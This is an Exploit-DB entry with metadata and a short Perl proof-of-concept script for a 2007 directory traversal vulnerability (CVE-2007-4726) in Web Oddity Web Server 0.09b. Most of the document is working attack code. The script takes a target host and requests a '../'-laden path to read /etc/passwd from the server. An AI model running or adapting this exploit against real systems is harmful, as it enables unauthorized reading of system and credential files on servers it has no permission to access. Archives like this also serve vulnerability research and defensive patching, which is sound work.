Web Oddity Web Server 0.09b - Directory Traversal

Author: Katatafish
type: remote
platform: linux
port: 
date_added: 2007-09-03  
date_updated: 2016-10-12  
verified: 1  
codes: OSVDB-41028;CVE-2007-4726  
tags:   
aliases:   
screenshot_url:   
application_url: http://www.exploit-db.comwoddity_0.09b.tgz  

raw file: 4362.pl  
# Web Oddity Web Server 0.09b Directory Transversal Vulnerability
# Found by: Katatafish (karatatata@hush.com)
# Download: http://sourceforge.net/project/showfiles.php?group_id=13854
# Thanks: str0ke

use LWP::Simple;
use strict;

sub usage
{
       print "----------------------------------------------------- - -----------\n";
       print "Web Oddity Web Server 0.09b Directory Transversal Vulnerability\n";
       print "\n";
       print "usage: $0 www.site.com\n";
       print "------------------------------------------------- Katatafish-----\n";
       exit ();
}

my $host=shift || &usage;
getprint 'http://' . $host . '/../../../../../../../etc/passwd';

# milw0rm.com [2007-09-04]